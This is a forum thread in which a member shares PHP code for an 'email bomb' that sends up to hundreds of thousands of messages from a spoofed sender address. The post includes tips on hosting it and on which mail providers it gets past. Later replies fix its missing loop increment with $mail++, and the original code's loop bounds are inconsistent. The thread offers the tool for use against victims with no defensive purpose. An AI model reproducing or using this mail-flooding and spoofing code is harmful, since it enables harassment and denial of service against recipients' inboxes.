Basic PHP Email Bomb for newbies

&ever's Avatar, Join Date: Oct 2010
Go4Expert Member
I haven't yet seen anything for an email bomb on here, so I decided to make one, and here is the code:

<?php
$mail = 1;
do {
mail("Client", "Subject", "Message", "Fake email you send from");
} while($mail < 500000);
?>
__________________________________________________ ___________________________
Above is the basic code for an email bomb with an email spoofer, the spoofer doesn't for this really doesn't require any coding skill, just the knowledge to type in an email.

In order to use this code you must find a webhosting site or anybody that allows PHP coding, I recommend making your own site.

Explanation:

<?php This is the starting of the code.
$mail = 1; This is defining the variable($mail) to equal 1
Do { This is a function
Mail("Client" , "Subject" ,"Message", "Fake email");
} Ends the function and is going to "reply " to the email given
While($mail < 50000); Says how many emails you will be sending
?> Ends index.php

This will not work very well with any email server that is a known name (yahoo, Gmail) they will just put it all in one folder.
Bresnan Msn and things like that usually are fine
__________________________________________________ ________________________
Hope this helped.
Will be making a tutorial on how to spoof your real email soon.
0
shabbir's Avatar, Join Date: Jul 2004
Go4Expert Founder
Isn't this an infinite loop because you are not incrementing the $mail
0
&ever's Avatar, Join Date: Oct 2010
Go4Expert Member
Yes but ($mail < 50000); sets the max emails sent.
0
shabbir's Avatar, Join Date: Jul 2004
Go4Expert Founder
} while($mail < 500000); and } while($mail < 2); is same if you don't increment the variable.
0
&ever's Avatar, Join Date: Oct 2010
Go4Expert Member
Your right, my mistake.
0
&ever's Avatar, Join Date: Oct 2010
Go4Expert Member
Quote:
Originally Posted by shabbir View Post
} while($mail < 500000); and } while($mail < 2); is same if you don't increment the variable.
I tested my code and recieved a few hundred emails...
nothing allows me to increment $mail , just gives me an error even your
"} while($mail < 500000); and } while($mail < 2);"

Would you like to create a bomb test it then send me the code to prove me wrong(all due respect)
I would just like to see this incrementation. I just tested all possible increments and cant seem to get them to work.
0
shabbir's Avatar, Join Date: Jul 2004
Go4Expert Founder
$mail++ would do it but if this does not work let me know and I will share the code snippets.
&ever like this
0
&ever's Avatar, Join Date: Oct 2010
Go4Expert Member
That fixed it, thanks!